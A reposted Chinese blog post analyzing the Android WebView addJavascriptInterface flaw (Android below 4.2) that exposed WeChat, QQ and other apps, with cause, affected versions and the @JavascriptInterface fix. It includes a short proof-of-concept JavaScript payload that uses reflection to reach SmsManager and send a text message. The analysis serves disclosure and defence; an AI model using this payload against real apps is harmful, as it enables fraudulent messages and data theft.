本文章由Jack_Jia编写,转载请注明出处。
文章链接: http://blog.csdn.net/jiazhijun/article/details/11131891

作者:Jack_Jia 邮箱:309zhijun@163.com

一、漏洞描述


近期,微信等多款安卓流行应用曝出高危挂马漏洞:只要点击好友消息或朋友圈中的一条网址,手机就会自动执行黑客指令,出现被安装恶意扣费软件、向好友发送欺诈短信、通讯录和短信被窃取等严重后果。在乌云漏洞平台上,包括安卓版微信、QQ、腾讯微博、QQ浏览器、快播、百度浏览器、金山浏览器等大批应用均被曝光同类型漏洞。


二、影响版本


Android系统版本低于4.2


三、漏洞原理


漏洞点:WebView.addJavascriptInterface(Object obj, String interfaceName) ;

漏洞触发条件:

1、使用WebView.addJavascriptInterface方法注册可供javascript调用的java对象。

2、使用WebView加载外部网页。

3、Android系统版本低于4.2

漏洞原因:

Android系统通过WebView.addJavascriptInterface方法注册可供javascript调用的java对象,以用于增强javascript的功能。但是系统并没有对注册JAVA类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何JAVA类,最终导致javascript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。



四、POC代码


我们利用该漏洞调用SmsManager发送短信(被攻击APK要有短信发送权限)

WebView webview = new WebView(context);

WebSettings webset= webview.getSettings();
webset.setJavaScriptEnabled(true);
webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");

利用该漏洞的外部javascript脚本:

<script>

var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);

obj_smsManager.sendTextMessage("159********",null,"test",null,null);

</script>


出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响)。在各应用厂商修复该问题期间,我们建议用户暂时使用系统自带的浏览器访问网页,并且不要访问社交应用中陌生人发来的链接。


五、相关链接


http://drops.wooyun.org/papers/548

http://50.56.33.56/blog/?p=314

更多相关文章

  1. Android提权漏洞分析——rageagainstthecage
  2. ArcGIS for Android入门程序之DrawTool2.0
  3. ubuntu gradle编译总结
  4. android support-v4、v7、v13
  5. android 交叉编译工具的设置
  6. Android(安卓)Studio 无法引用org.apache.http解决办法
  7. Android(安卓)DataBinding 快速入门
  8. Eclipse导入Android项目的正确方法
  9. 导入xUtils_3 工程到Android(安卓)Studio

随机推荐

  1. PHP自定义的 printf 函数新用途
  2. 我们还会继续使用PHP的原因
  3. 简易实现HTTPS之自动实现ssl
  4. 总结PHP-FPM与Nginx的通信机制
  5. PHP中如何使用TUS协议来实现大文件的断点
  6. 何为是高性能优化PHP-FPM
  7. PHP+MySQL实现在线测试答题示例
  8. 实例详解PHP中 $_POST的$_GET的用法和区
  9. 实现PHP微信红包API接口
  10. PHP连接MySQL数据库操作实现